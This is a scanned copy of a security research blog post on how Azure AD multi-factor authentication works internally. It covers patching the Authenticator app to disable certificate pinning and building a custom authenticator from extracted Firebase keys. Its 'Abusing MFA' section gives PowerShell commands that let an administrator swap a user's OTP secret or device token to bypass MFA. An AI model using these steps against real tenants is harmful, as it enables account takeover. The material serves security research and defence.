o365blog.com Open in urlscan Pro
185.199.108.153  Public Scan

URL: https://o365blog.com/post/mfa/
Submission: On February 11 via manual from US — Scanned from DE

Form analysis 1 forms found in the DOM

GET //google.com/search

<form class="widget-search__form" role="search" method="get" action="//google.com/search">
  <label>
    <span class="screen-reader-text">Search for:</span>
    <input class="widget-search__field" type="search" placeholder="SEARCH..." value="" name="q">
  </label>
  <input class="widget-search__submit" type="submit" value="Search">
  <input type="hidden" name="sitesearch" value="http://o365blog.com">
</form>

Text Content

OFFICE 365 BLOG


EVERYTHING ABOUT MICROSOFT 365 SECURITY

Menu
 * AAD & M365 KILL CHAIN
 * AAD INTERNALS
 * LINKS
 * POWERSHELL
 * TALKS
 * TOOLS


DEEP-DIVE TO AZURE AD MFA: CREATING A CUSTOM AUTHENTICATOR APP

August 06, 2020 (Last Modified: August 13, 2020) blog

 * 
 * 

 * What is MFA
   * Introduction
   * Setting up MFA
   * User’s MFA settings in Azure AD
 * Research process
   * Getting started
   * MFA app registration process
     * Step 1: (HTTP) ActiveteNew
     * Step 2: (FCM) validate
     * Step 3: (HTTP) phoneAppValidateDeviceTokenRequest
     * Step 4: (HTTP) phoneAppValidateDeviceTokenResponse
     * Step 5: (HTTP) ActivateNewResponse
     * Step 6: (HTTP) ConfirmActivation
     * Step 7: (FCM) auth
     * Step 8: (HTTP) phoneAppAuthenticationResultRequest
     * Step 9: (HTTP) phoneAppAuthenticationResultResponse
     * Step 10: (HTTP) ConfirmActivationResponse
   * Implementing AADInternals Authenticator
 * Abusing MFA
   * Bypass MFA with identity federation
   * “Bypass” MFA by editing users’ MFA settings
     * Alternative phone number
     * OTP secret
     * Authenticator app
 * Summary
 * References

Multi-factor Authentication (MFA) is nowadays a recommended method for providing
extra protection for users. In most cases, it protects users from phishing
attacks as the attackers can’t log in even they have user’s credentials.

In this blog, I’ll report my findings on how the Azure AD MFA works
under-the-hood, and how I built a custom authenticator app for Android. I also
introduce some methods how the rogue administrator can bypass MFA when using
user’s compromised credentials.




WHAT IS MFA


INTRODUCTION

For short, multi-factor authentication (MFA) is an authentication process where
the user must use more than one form of an identification. First method is
typically a user name and password combination, and the second one can be for
example an SMS one-time-password (OTP) or authentication application.

Azure AD MFA supports the following forms of verification:

 * Microsoft Authenticator app
 * OATH Hardware token
 * SMS OTP
 * Voice call

Note! The voice call option is available only in paid tenants. So no testing in
trial tenants :disappointed:

The authentication process for SMS OTP is simple: just enter the code from the
received SMS and you’re good to go. Voice call is even simpler: answer the call
and press the pound key # when asked to do so.

Using the OATH hardware token means that when asked, you need to type in the
code shown in the authentication device or app (such as Microsoft
Authenticator).

Another way to use the authenticator app is to use notifications. This means
that when MFA is used, a notification pops up in the device and asks you to
either accept or deny the authentication.


SETTING UP MFA

Administrators can enforce MFA per-user basis (link to MFA portal) or by
Conditional Access policies (requires Azure AD Premium P1/P2).

Users can set up their MFA methods at https://aka.ms/mfasetup and (if the
combined security information experience is enabled by the addministrator) at
https://mysignins.microsoft.com.

The traditional MFA setup:

The MFA app registration starts when user clicks the Set up Authenticator app
button. User can now either use the QP code or type the code and url manually to
app.



User can also choose to use only OTP and click the Configure app without
notification. Then the notifications are not enable and user must always type
the OTP.




USER’S MFA SETTINGS IN AZURE AD

Users’ MFA settings are (naturally) stored in Azure AD. With Azure Graph API,
users’ MFA settings can be read in the Microsoft way or the easy AADInternals
way:

# Get access token and save to cache

Get-AADIntAccessTokenForAADGraph -SaveToCache

# Get user MFA settings

Get-AADIntUserMFA -UserPrincipalName "user@company.com"

Output:

UserPrincipalName      : user@company.com
State                  : Enforced
PhoneNumber            : +358 123456789
AlternativePhoneNumber : +358 987654321
Email                  : user@gmail.com
DefaultMethod          : PhoneAppNotification
Pin                    : 
OldPin                 : 
StartTime              : 17.6.2019 15.48.33
RelyingParty           : *
AppDetails             : {@{AuthenticationType=Notification, ...


We can also dump AND edit the user’s MFA app settings using the internal
undocumented version of AADGraph API:

# Get user's MFA app settings

Get-AADIntUserMFAApps -UserPrincipalName "user@company.com"

Output:



AuthenticationType : Notification, OTP
DeviceName         : SM-1234
DeviceTag          : SoftwareTokenActivated
DeviceToken        : APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS
Id                 : 454b8d53-d97e-4ead-a69c-724166394334
NotificationType   : GCM
OathTokenTimeDrift : 0
OathSecretKey      : 
PhoneAppVersion    : 6.2001.0140
TimeInterval       : 

AuthenticationType : OTP
DeviceName         : NO_DEVICE
DeviceTag          : SoftwareTokenActivated
DeviceToken        : NO_DEVICE_TOKEN
Id                 : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
NotificationType   : Invalid
OathTokenTimeDrift : 0
OathSecretKey      : 
PhoneAppVersion    : NO_PHONE_APP_VERSION
TimeInterval       :



RESEARCH PROCESS

During the research, I used the following tools:

Tool Description Android Studio SDK for developing Android apps. Fiddler 4 A
proxy for inspecting http/https traffic. objection A runtime mobile exploration
toolkit. JADX Dex to Java decompiler

The ultimate goal was to understand how Azure MFA works and whether there was
any way to compromise the process or the authenticator app.


GETTING STARTED

The first challenge was to intercept the traffic between my Android device and
the internet. In modern Android devices this is virtually impossible without
rooting the device. This is because it is not anymore possible to make your
device to trust to Fiddler certificate(s).

Luckily, thanks to the great blot post by Cody Wass, I found a tool called
Frida. However, using Frida requires that the device would be rooted - which I
wouldn’t want to do. In his blog, Cody was using objection which can be used to
insert the Frida gadget to an existing app!

So, next I installed the objection (wasn’t that easy) and downloaded the
authenticator app from Apkpure.

Next step was to plug my Android device to my laptop with USB cable (and allow
the debugging over USB). Now I could “patch” the authenticator app:

objection patchapk --source authenticator.apk



During the patching, a patched apk (authenticator.objection.apk) was created to
the same directory than the original one. Then I installed the app:

adb install authenticator.objection.apk

After the installation was completed, I started the app in my Android device.
The app was freezed when started (blank white screen). To continue, I needed to
launch the objection to connect to app:

objection explore -q

The output showed that all went well and the app started normally:



Using USB device 'SM 1234'
Agent injected and responds ok!
com.azure.authenticator on (samsung: 8.1.0) [usb] #


Next, I disabled the sslpinning:

android sslpinning disable

The output showed that sslpinning was disabled and I was able to configure
Fiddler as proxy to intercept the https traffic!



(agent) Custom TrustManager ready, overriding SSLContext.init()
(agent) Found okhttp3.CertificatePinner, overriding CertificatePinner.check()
(agent) Found com.android.org.conscrypt.TrustManagerImpl, overriding TrustManagerImpl.verifyChain()
(agent) Found com.android.org.conscrypt.TrustManagerImpl, overriding TrustManagerImpl.checkTrustedRecursive()
(agent) Registering job q3mcdbbh9z, Type: android-sslpinning-disable


After disabling ssl pinning, I was able to see the traffic between the
authentication app and Azure AD during the registration!


MFA APP REGISTRATION PROCESS

The process of registering an Authenticator App has 10 steps. I was able to
capture them in Fiddler, except for the FCM messages in steps 2 and 7 (I’ll come
back to this later).


STEP 1: (HTTP) ACTIVETENEW

After reading the QR code (or the address and code typed in manually), the app
posts the following activation request to the given address:

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs">
	<soap:Header/>
	<soap:Body>
		<ns4:ActivateNew>
			<ns4:activationParams>
				<ns4:ActivationCode>309209603</ns4:ActivationCode>
				<ns4:DeviceToken>APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</ns4:DeviceToken>
				<ns4:DeviceName>SM-1234</ns4:DeviceName>
				<ns4:OathCounter>53235023</ns4:OathCounter>
				<ns4:Version>6.2001.0140</ns4:Version>
			</ns4:activationParams>
		</ns4:ActivateNew>
	</soap:Body>
</soap:Envelope>

Setting Description ActivationCode The activation code included in the QP
DeviceToken The device token of authentication app. Identifies the individual
app. DeviceName The name of the device OathCounter Current Unix time in seconds
divided by 30 seconds Version Version of the authentication app.


STEP 2: (FCM) VALIDATE

Using the given DeviceToken as the destination, Azure AD sends the following
Firebase Cloud Messaging (FCM) message to the app:

alert="Multi-Factor Authentication validation"
guid="f0de08e3-d159-b7ff-a308-c5d11ee20456"
notification_type="gcm"
type="validate"
url="mobileappcommunicator.auth.microsoft.com/mac/MobileAppCommunicator.svc/?ignored=ignored"


Value Description url The url where the response should be send guid Guid of the
validation request


STEP 3: (HTTP) PHONEAPPVALIDATEDEVICETOKENREQUEST

The app posts the following validation response to the given url:

<pfpMessage version="1.6">
	<header>
		<source>
			<component type="pfsvc" role="master">
				<host ip="" hostname="" serverId=""/>
			</component>
		</source>
	</header>
	<request request-id="f0de08e3-d159-b7ff-a308-c5d11ee20456" async="0" response-url="" language="en">
		<phoneAppValidateDeviceTokenRequest>
			<phoneAppContext>
				<guid>f0de08e3-d159-b7ff-a308-c5d11ee20456</guid>
				<oathCode/>
				<deviceToken>APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</deviceToken>
				<version>6.2001.0140</version>
				<osVersion>8.1.0</osVersion>
				<needDosPreventer>no</needDosPreventer>
			</phoneAppContext>
			<validationResult>yes</validationResult>
			<accounts/>
		</phoneAppValidateDeviceTokenRequest>
	</request>
</pfpMessage>

Setting Description guid Guid of the validation request. deviceToken The device
token of authentication app. needDosPreventer If set to yes, a new dos preventer
“code” is received in the response validationResult Whether the validation was
successful or not.


STEP 4: (HTTP) PHONEAPPVALIDATEDEVICETOKENRESPONSE

Azure AD responds to the validation response (Step 3)

<?xml version="1.0" encoding="utf-8"?>
<pfpMessage xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<header>
		<source>
			<component type="pfsvc">
				<host ip="0.0.0.0" hostname="mobileappcommunicator.auth.microsoft.com" serverId=""/>
			</component>
		</source>
	</header>
	<response request-id="21d2952b-8627-4257-97fa-af7d238de0bd">
		<status disposition="success">
			<error-id>0</error-id>
			<message lang=""/>
		</status>
		<phoneAppValidateDeviceTokenResponse>
			<groupKey>561b28339a38b871bf4254b432f6ef6a</groupKey>
			<dosPreventer xsi:nil="true"/>
			<accountName>Company Ltd</accountName>
			<username/>
		</phoneAppValidateDeviceTokenResponse>
	</response>
</pfpMessage>

Setting Description groupKey The group key dosPreventer DOS preventer token
accountName The brand name of the tenant username User name of the user. Always
empty.


STEP 5: (HTTP) ACTIVATENEWRESPONSE

Azure AD responds to the activation request (Step 1)

<?xml version="1.0" encoding="utf-8"?>
<Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<Body>
		<ActivateNewResponse xmlns="http://www.phonefactor.com/PfPaWs">
			<ActivateNewResult>true</ActivateNewResult>
			<activationInfo>
				<Username>user@company.com</Username>
				<TenantId>f76b0398-9cef-4c48-a977-e523722c94fd</TenantId>
				<AzureObjectId>8197b944-ee60-444a-a854-3eaebc779dd7</AzureObjectId>
				<ConfirmationCode>7403715184437827</ConfirmationCode>
				<OathTokenSecretKey>ncez5hrfd72w52ry5mfuackuzan3xtk4</OathTokenSecretKey>
				<OathTokenEnabled>true</OathTokenEnabled>
			</activationInfo>
			<error>
				<Code>0</Code>
				<Description/>
			</error>
		</ActivateNewResponse>
	</Body>
</Envelope>

Setting Description Username The name of the user TenantId The tenant id of the
user’s tenant AzureObjectId The user’s Azure AD object id ConfirmationCode The
code used to confirm the validation OathTokenSecretKey Base32 encoded secret
used to create OTPs OathTokenEnabled Whether the Oath token is enabled or not


STEP 6: (HTTP) CONFIRMACTIVATION

Authentication app posts an activation confirmation request to initiate
authentication process:

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs">
	<soap:Header/>
	<soap:Body>
		<ns4:ConfirmActivation>
			<ns4:confirmationCode>7403715184437827</ns4:confirmationCode>
		</ns4:ConfirmActivation>
	</soap:Body>
</soap:Envelope>


STEP 7: (FCM) AUTH

Azure AD sends the following authentication request as FCM message to the app:

expiration=1593336244
fraudAllowed=false
fraudBlock=true
groupKey=561b28339a38b871bf4254b432f6ef6a
guid=9c0bb4ae-df54-4f94-8e4c-68e269a6a227
MessageCategory=standard
MessageTitle=You have received a sign in verification request.
mode=standard
oathCounter=2030643810985085027
oathTokenEnabled=true
pinChangeRequired=false
pinRetries=0
type=auth
url=mobileappcommunicator.auth.microsoft.com/mac/MobileAppCommunicator.svc/?querydc=chi&ignored=ignored
userCanChangePin=false
userObjectId=3554987d86aa287b8a2171392ddc6c12b1c34489cdb947f2b2c2fb027786dae8


Value Description url The url where the response should be sent guid The guid of
the auth request userObjectId SHA256 hash of user’s Azure AD object Id

Note! The userObjectId can be calculated as follows. The textual form (lower
case!) of user’s ObjectId from the Azure AD
(2f8f0871-86b1-4a81-9951-967c2a37be24) is converted to byte array and a SHA256
hash is calculated:

# Calculate SHA256 from user's Azure AD ObjectId

[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([text.encoding]::utf8.GetBytes("2f8f0871-86b1-4a81-9951-967c2a37be24")) | Format-Hex

           Path:  

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   35 54 98 7D 86 AA 28 7B 8A 21 71 39 2D DC 6C 12  5T˜}†ª({Š!q9-Ül.
00000010   B1 C3 44 89 CD B9 47 F2 B2 C2 FB 02 77 86 DA E8  ±ÃD‰Í¹Gò²Âû.w†Úè



STEP 8: (HTTP) PHONEAPPAUTHENTICATIONRESULTREQUEST

Authentication app responds by posting the following authentication result
message to the given url:

<pfpMessage version="1.6">
	<header>
		<source>
			<component type="pfsvc" role="master">
				<host ip="" hostname="" serverId=""/>
			</component>
		</source>
	</header>
	<request request-id="9c0bb4ae-df54-4f94-8e4c-68e269a6a227" async="0" response-url="" language="en">
		<phoneAppAuthenticationResultRequest>
			<phoneAppContext>
				<guid>9c0bb4ae-df54-4f94-8e4c-68e269a6a227</guid>
				<oathCode/>
				<needDosPreventer>no</needDosPreventer>
				<deviceToken>APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</deviceToken>
				<version>6.2001.0140</version>
				<osVersion>8.1.0</osVersion>
			</phoneAppContext>
			<authenticationResult>1</authenticationResult>
			<newDeviceToken notificationType="gcm">APA91bHrPpPildOFgQpVKUYtUhwIr4OC2_80OAqhC_jdU1a3VR3AK3sIH73BaAV3rZ2t6rPr6HZ5UoAAvo53bFfGNNvb9p2AG1sZvziS-7VTyBsi4InToESGqudEtX4WjQUi-kapZgK7</newDeviceToken>
			<oathCounter>53235023</oathCounter>
		</phoneAppAuthenticationResultRequest>
	</request>
</pfpMessage>



Setting Description authenticationResult Authentication result, 1 if successful
deviceToken The device token of the device newDeviceToken The new device token
if it changed.


STEP 9: (HTTP) PHONEAPPAUTHENTICATIONRESULTRESPONSE

Azure AD responds to the authentication result post (8)

<?xml version="1.0" encoding="utf-8"?>
<pfpMessage xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<header>
		<source>
			<component type="pfsvc">
				<host ip="0.0.0.0" hostname="mobileappcommunicator.auth.microsoft.com" serverId=""/>
			</component>
		</source>
	</header>
	<response request-id="a94bf469-1774-44d7-9bcf-486113124889">
		<status disposition="success">
			<error-id>0</error-id>
			<message lang=""/>
		</status>
		<phoneAppAuthenticationResultResponse>
			<authenticationResultResult>1</authenticationResultResult>
		</phoneAppAuthenticationResultResponse>
	</response>
</pfpMessage>




STEP 10: (HTTP) CONFIRMACTIVATIONRESPONSE

Azure AD responds to activation confirmation request (6)

<?xml version="1.0" encoding="utf-8"?>
<Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<Body>
		<ConfirmActivationResponse xmlns="http://www.phonefactor.com/PfPaWs">
			<ConfirmActivationResult>true</ConfirmActivationResult>
			<error>
				<Code>0</Code>
				<Description/>
			</error>
		</ConfirmActivationResponse>
	</Body>
</Envelope>




IMPLEMENTING AADINTERNALS AUTHENTICATOR

Research Note: At this point, I changed test user’s MFA app DeviceToken to my
MFA app token to see what happens. During the MFA challenge, Azure AD did
actually sent the authentication notification to my MFA app but it gave me the
following error:

Unable to process notifications from your work or school account.

If this account has been removed from the app, please also remove it from the MFA registration page.

Otherwise, remove the account and re-add it.


What we can learn from this is that the DeviceToken acts like an address, where
the MFA authenticatio notifications are sent. This finding encouraged me to dig
deeper so next step was to implement my own authenticator!

I started by creating a Firebase project and an app by following the steps here.
I was able send notification from the Firebase console to my app.

A crucial part of the messaging framework is a configuration file
google-services.json, which contains the following information:

{
  "project_info": {
    "project_number": "336805340521",
    "firebase_url": "https://aadinternals-authenticator.firebaseio.com",
    "project_id": "aadinternals-authenticator",
    "storage_bucket": "aadinternals-authenticator.appspot.com"
  },
  "client": [
    {
      "client_info": {
        "mobilesdk_app_id": "1:336805340521:android:7ae9a4cc0192de4cab49f8",
        "android_client_info": {
          "package_name": "com.gerenios.aadinternals.authenticator"
        }
      },
      "oauth_client": [
        {
          "client_id": "336805340521-rl597v0239le05mfgu5qf3uspouq6d5e.apps.googleusercontent.com",
          "client_type": 3
        }
      ],
      "api_key": [
        {
          "current_key": "AIzaSyA4M8jlXIh9qsIQtkYEUpphQJKFRGcK2SI"
        }
      ],
      "services": {
        "appinvite_service": {
          "other_platform_oauth_client": [
            {
              "client_id": "336805340521-rl597v0239le05mfgu5qf3uspouq6d5e.apps.googleusercontent.com",
              "client_type": 3
            }
          ]
        }
      }
    }
  ],
  "configuration_version": "1"
 }



Using the configuration the app can receive a DeviceToken:

String token = FirebaseInstanceId.getInstance().getToken();



I replaced the test user’s DeviceToken with one from the app, but the app did
not receive any notifications.

After digging around, I found out that the app configuration should contain the
correct values, i.e. those must match the values from the original Microsoft
Authenticator.

Note! Also the package name must match the original (com.azure.authenticator).
This had two implications:

 * The custom authenticator can not be installed on device having Azure
   Authenticator already installed (app exists with different signer)
 * The custom authenticator can not be uploaded to Google Store (because the
   package already exists)

I assumed, that the configuration information must be stored to the original
authenticator app. So, the next step was to start JADX and open the
authenticator APK package (decompiling may take some time).

I browsed and searched the decompiled classes but couldn’t find any settings.
But then I checked the resources and found what I needed from
Resources\resources.arsc\res\values\strings.xml!

<resources>
	...
	<string name="default_web_client_id">91905377563-dijqtpc29004iduck3d1623cgk8vnneg.apps.googleusercontent.com</string>
	...
	<string name="firebase_database_url">https://microsoftauthenticator.firebaseio.com</string>
	...
	<string name="gcm_defaultSenderId">91905377563</string>
	...
	<string name="google_api_key">AIzaSyDQiqY4cX3UacZZhMN3CIu1gUE2XywMQug</string>
	<string name="google_app_id">1:91905377563:android:b45aadcaa9572c8d</string>
	...
	<string name="google_storage_bucket">microsoftauthenticator.appspot.com</string>
	...
	<string name="projcet_id">microsoftauthenticator</string>
</resources>



The final version of google-services.json I used was the following:

{
  "project_info": {
    "project_number": "91905377563",
    "firebase_url": "https://microsoftauthenticator.firebaseio.com",
    "project_id": "microsoftauthenticator",
    "storage_bucket": "microsoftauthenticator.appspot.com"
  },
  "client": [
    {
      "client_info": {
        "mobilesdk_app_id": "1:91905377563:android:b45aadcaa9572c8d",
        "android_client_info": {
          "package_name": "com.azure.authenticator"
        }
      },
      "oauth_client": [
        {
          "client_id": "91905377563-dijqtpc29004iduck3d1623cgk8vnneg.apps.googleusercontent.com",
          "client_type": 3
        }
      ],
      "api_key": [
        {
          "current_key": "AIzaSyDQiqY4cX3UacZZhMN3CIu1gUE2XywMQug"
        }
      ],
      "services": {
        "appinvite_service": {
          "other_platform_oauth_client": [
            {
              "client_id": "91905377563-dijqtpc29004iduck3d1623cgk8vnneg.apps.googleusercontent.com",
              "client_type": 3
            }
          ]
        }
      }
    }
  ],
  "configuration_version": "1"
}



While registeging the app (getting the token), I also needed to know the sender
id of Azure AD. These were located in com.azure.authenticator.com.Util class:

private static final String MSA_SENDER_ID_INT = "642523128631";
private static final String MSA_SENDER_ID_PROD = "581753172647";
...
private static final String DEV_FCM_SENDER_ID = "1058539755033";
private static final String DEV_PAD_URL = "https://pf-dev-cr-01.thepftest.com:4433/pad";
private static final String PROD_FCM_SENDER_ID = "275572744697";
private static final String PROD_PAD_URL = "https://pad.phonefactor.net/pad";
private static final String STAGE_FCM_SENDER_ID = "1058539755033";
private static final String STAGE_PAD_URL = "https://pad-stage-01.thepftest.com/pad";



I changed the token initialisation to allow messages from FCM and MSA production
environments:

// Init the the token, accept MS production FCM and MSA senders
String token = FirebaseInstanceId.getInstance().getToken("275572744697,581753172647", "FCM");



And finally it worked! I replaced test user’s DeviceToken with the one from the
app and notification was received (see step 7 above)!

All I needed to do is to send back the response (see step 8 above) with the
authentication result set to 1.

The full source code of the app is available at GitHub and the Android app can
be installed from:
:point_right: AADInternalsAuthenticator-0.4.0-release.apk :point_left:


ABUSING MFA

Now that we know that we can edit users’ MFA settings and that we have a custom
MFA app, we can start to abuse MFA.


BYPASS MFA WITH IDENTITY FEDERATION

First, if the tenant is using identity federation and we have access to token
signing certificate, we can bypass MFA by including a claim to SAML token that
tells to Azure AD that MFA is already done.


“BYPASS” MFA BY EDITING USERS’ MFA SETTINGS

If that is not possible, we can change users’ MFA settings:

 * MFA method
 * Phone number(s)
 * Email address
 * App DeviceToken
 * App/device OathSecretKey


ALTERNATIVE PHONE NUMBER

For instance, Global Admin can set user’s alternative phone number:

Set-AADIntUserMFA -UserPrincipalName "user@company.com" -AlternativePhoneNumber "+358 7576777879"



Now, assuming that the admin has users credentials, he or she can choose to use
alternative MFA method:



Now the admin can choose to receive a call to alternative phone instead of using
authenticator:




OTP SECRET

Admin can also set the OathSecretKey used by the authentication app or device.

Note! There is no way to extract the original secret, so it can not be changed
back!

# Change user's MFA OTP secret

Set-AADIntUserMFAApps -UserPrincipalName "user@company.com" -Id "454b8d53-d97e-4ead-a69c-724166394334" -OathSecretKey kwygi6e4fz7uggs5



And now we can generate one-time password to use with MFA:

# Generate an OTP

New-AADIntOTP -SecretKey kwygi6e4fz7uggs5



OTP     Valid
---     -----
784 504 30s



AUTHENTICATOR APP

First, the admin needs to install the AADInternals Authenticator
(AADInternalsAuthenticator-0.4.0-release.apk).

After installation, the token can be copied to clipboard to be sent via email
etc.:

Finally, the admin can replace user’s authenticator DeviceToken with a token of
admin’s own AADInternals Authenticator:

# Change user's MFA device

Set-AADIntUserMFAApps -UserPrincipalName "user@company.com" -Id "454b8d53-d97e-4ead-a69c-724166394334" -DeviceToken "APA91bGKdbnFsHnL8OTcgQY6i9kZiDUuBZ4OjcRHQQ_rJaLH_m05rsV4uX98jfZAtSmm7GSu1xXIlBKnyJmxIiLbYPZ4m7Lyu4URD0L9SGio78U6jgZQgmUlGmuFuHNJzA_olTxKphU_"



Now all user’s MFA notifications are accepted automatically by the admin’s
AADInternals Authenticator app. The app shows logins as notifications:




SUMMARY

During the research process we learned that:

 * Users’ MFA settings are stored to Azure AD
 * Global Admins can manipulate MFA settings using undocumented AAD Graph API
   (or AADInternals)
 * Each device and authentication app pair has a unique DeviceToken which is
   (re)generated every time the app is (re)installed
 * MFA notification is sent to device using the DeviceToken as an address
 * Using the messaging settings of original the Azure Authenticator, a custom
   authenticator can be built to receive MFA notifications
 * Admins can change the users’ MFA settings to “bypass” MFA

Finally, don’t forget that all edits the admins are making to users’ settings
are logged to audit log.


REFERENCES

 * Microsoft: How it works: Azure Multi-Factor Authentication
 * Microsoft: Enable per-user Azure Multi-Factor Authentication to secure
   sign-in events
 * Microsoft: Tutorial: Secure user sign-in events with Azure Multi-Factor
   Authentication
 * Cody Wass: Four Ways to Bypass Android SSL Verification and Certificate
   Pinning

 * Azure Active Directory
 * Azure
 * security
 * MFA

 * 
 * 

About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Senior Principal Information Security Researcher at
Secureworks CTU (Counter Threat Unit).
Before moving to his current position, Dr Syynimaa worked as a CIO, consultant,
trainer, and university lecturer for over 20 years. He is a regular speaker in
scientific and professional conferences related to Microsoft 365 and Azure AD
security.

Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified
Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP
(Enterprise Mobility, Identity and Access & Intune), and Microsoft Most Valuable
Security Researcher (MVR).
«Previous

Unnoticed sidekick: Getting access to cloud as an on-prem admin

Next»

Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert


Please enable JavaScript to view the comments powered by Disqus.
Search for:

RECENT POSTS

 * Microsoft partners: The Good, The Bad, or The Ugly?
 * AADInternals admin and blue team tools
 * Spoofing Azure AD sign-ins logs by imitating AD FS Hybrid Health Agent
 * Exporting AD FS certificates revisited: Tactics, Techniques and Procedures
 * Deep-dive to Azure AD device join

CATEGORIES

 * 
 * Article
 * Blog

SOCIAL

Twitter
LinkedIn
nestori.syynimaa@gerenios.com

TAGS

aadconnect (2) aadinternals (9) active-directory (1) adfs (5) admin (3)
administration (1) authentication (1) azure (18) azure-active-directory (25)
azuread (4) blackhat (1) blue-team (1) bprt (2) browser (1) compromise (1)
conferences (1) desktop-sso (1) device (1) dns (3) email (2) encryption (1)
exchange (1) federation (2) forensics (1) gdpr (1) global-administrator (1)
graph (1) groups (1) guest (2) hybrid-join (1) identity (2) inactive (1) insider
(1) intune (1) join (1) logs (1) mailbox (1) mdm (1) mfa (6) office-365 (9)
office365 (9) on-prem (2) onedrive (1) outsider (2) partner (2) password (1)
persistence (1) phishing (2) planner (1) powershell (13) prt (4) pta (1) recon
(2) reconnaissance (4) seamless-sso (1) security (29) sso (2) sync (1)
synchronisation (1) t2 (1) talks (1) teams (3) user (1) virtual-machine (1)